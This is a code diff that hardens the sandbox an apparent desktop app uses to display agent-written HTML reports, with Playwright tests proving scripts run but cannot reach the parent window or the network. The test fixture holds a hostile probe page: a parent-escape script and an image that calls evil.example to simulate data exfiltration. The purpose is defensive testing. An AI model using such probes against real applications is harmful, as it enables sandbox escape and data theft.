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Python

Artifact viewer: airtight sandbox for agent HTML + Open in browser (OPE-91)

Rohit C Prasad78fc2bd8f721
diff --git a/surfaces/gui/e2e/artifacts.spec.ts b/surfaces/gui/e2e/artifacts.spec.ts
new file mode 100644
index 00000000..0bcddcfe
--- /dev/null
+++ b/surfaces/gui/e2e/artifacts.spec.ts
@@ -0,0 +1,38 @@
+// OPE-91: agent-authored HTML renders in the artifact viewer inside an AIRTIGHT sandbox.
+// The app webview is privileged (Tauri IPC), so the report page must be null-origin
+// (no parent access) and offline (no subresource exfiltration) — while inline scripts,
+// the thing report interactivity needs, keep working. The fixture page actively probes
+// all three properties and reports into #probe.
+import { expect } from "@playwright/test";
+import { test } from "./fixtures";
+
+async function openReport(page: import("@playwright/test").Page) {
+ await page.goto("/");
+ await page.getByPlaceholder(/Ask the coworker/).fill("hello");
+ await page.getByRole("button", { name: "Send" }).click();
+ await page.locator(".artifact-row", { hasText: "security-review.html" }).click();
+}
+
+test("HTML artifact renders sandboxed: scripts run, parent and network stay sealed", async ({
+ page,
+}) => {
+ await openReport(page);
+ const frame = page.getByTestId("artifact-frame");
+ await expect(frame).toBeVisible();
+ // No allow-same-origin, ever: with srcDoc it would run the page same-origin with the
+ // privileged app webview. This assertion is the regression lock for that exact flag.
+ await expect(frame).toHaveAttribute("sandbox", "allow-scripts");
+
+ const probe = page.frameLocator('[data-testid="artifact-frame"]').locator("#probe");
+ await expect(probe).toContainText("script ran in sandbox"); // interactivity works
+ await expect(probe).toContainText("parent blocked"); // null origin held
+ await expect(probe).toContainText("network blocked"); // CSP stopped the exfil img
+ await expect(page).not.toHaveTitle("ESCAPED");
+});
+
+test("HTML artifact offers Open in browser as the unsandboxed escape hatch", async ({
+ page,
+}) => {
+ await openReport(page);
+ await expect(page.getByTestId("artifact-open-browser")).toBeVisible();
+});
diff --git a/surfaces/gui/e2e/fixtures.ts b/surfaces/gui/e2e/fixtures.ts
index 0fd085d7..0675eaa7 100644
--- a/surfaces/gui/e2e/fixtures.ts
+++ b/surfaces/gui/e2e/fixtures.ts
@@ -863,6 +863,42 @@ export async function mockApi(page: import("@playwright/test").Page) {
}
return json({ roots });
}
+ // Artifacts (OPE-91): one HTML report whose content actively probes the sandbox —
+ // an inline script that renders proof-of-execution, a parent-window escape attempt,
+ // and an external subresource that must be CSP-blocked.
+ if (/\/v1\/sessions\/[^/]+\/artifacts\/read$/.test(p)) {
+ return json({
+ ok: true,
+ path: "reports/security-review.html",
+ kind: "html",
+ content: [
+ "<h1>Security review</h1>",
+ '<div id="probe">script did not run</div>',
+ "<script>",
+ ' document.getElementById("probe").textContent = "script ran in sandbox";',
+ " try { window.parent.document.title = 'ESCAPED'; } catch (e) {",
+ ' document.getElementById("probe").textContent += " · parent blocked";',
+ " }",
+ "</script>",
+ '<img src="https://evil.example/exfil.png" onerror="document.getElementById(\'probe\').textContent += \' · network blocked\'">',
+ ].join("\n"),
+ });
+ }
+ if (/\/v1\/sessions\/[^/]+\/artifacts\/reveal$/.test(p)) return json({ ok: true });
+ if (/\/v1\/sessions\/[^/]+\/artifacts$/.test(p)) {
+ return json({
+ artifacts: [
+ {
+ path: "reports/security-review.html",
+ abs_path: "/Users/test/OpenWorker/launch-note/reports/security-review.html",
+ name: "security-review.html",
+ kind: "html",
+ size: 2048,
+ modified_at: Math.floor(Date.now() / 1000) - 60,
+ },
+ ],
+ });
+ }
if (/\/v1\/sessions\/[^/]+\/messages$/.test(p)) return json({ messages: [] });
if (/\/v1\/sessions\/[^/]+\/unattended$/.test(p)) {
const id = decodeURIComponent(p.split("/").slice(-2)[0]);
diff --git a/surfaces/gui/src/components/RightRail.tsx b/surfaces/gui/src/components/RightRail.tsx
index ac3ea669..ab6302bf 100644
--- a/surfaces/gui/src/components/RightRail.tsx
+++ b/surfaces/gui/src/components/RightRail.tsx
@@ -294,6 +294,22 @@ function RailSection({
);
}
+// OPE-91: agent-authored HTML is untrusted active content rendered inside the PRIVILEGED
+// app webview (Tauri IPC). The sandbox must therefore be airtight on two axes:
+// - no `allow-same-origin`: with srcDoc, that flag would run the page same-origin with
+// the app — scripts could reach the parent document and the IPC bridge.
+// - no network: a poisoned report exfiltrates at DISPLAY time via subresources
+// (<img src="https://evil/?leak=…">). The injected CSP allows inline style/script
+// (what report interactivity needs) and data: images; everything remote is blocked.
+// Injected at position 0 so it takes effect before any content the page declares.
+const ARTIFACT_CSP =
+ '<meta http-equiv="Content-Security-Policy" content="default-src \'none\'; ' +
+ "style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src data:;\">";
+
+function sandboxHtml(html: string): string {
+ return ARTIFACT_CSP + html;
+}
+
function ArtifactViewer({
sessionId,
artifact,
@@ -349,6 +365,20 @@ function ArtifactViewer({
<Icon name="panelOpen" size={16} />
</button>
)}
+ {isHtml && (
+ // The sandboxed preview is deliberately offline and null-origin; a real
+ // browser tab (system default app, outside app privileges) is the escape
+ // hatch for sharing or printing the page.
+ <button
+ className="artifact-icon-btn"
+ data-testid="artifact-open-browser"
+ onClick={() => revealArtifact(sessionId, artifact.path, "open")}
+ aria-label="Open in browser"
+ title="Open in browser"
+ >
+ <Icon name="panelOpen" size={16} />
+ </button>
+ )}
{/* Copy the ABSOLUTE path — the workspace-relative one is useless outside the app
(tester catch 2026-07-12: it copied just "slack-connector-debug.md"). */}
<button
@@ -377,9 +407,10 @@ function ArtifactViewer({
) : content.kind === "html" ? (
<iframe
key={`${artifact.path}-${reloadKey}`}
- sandbox="allow-scripts allow-same-origin"
+ sandbox="allow-scripts"
className="artifact-frame"
- srcDoc={content.content || ""}
+ data-testid="artifact-frame"
+ srcDoc={sandboxHtml(content.content || "")}
/>
) : content.kind === "markdown" ? (
<div className="artifact-md">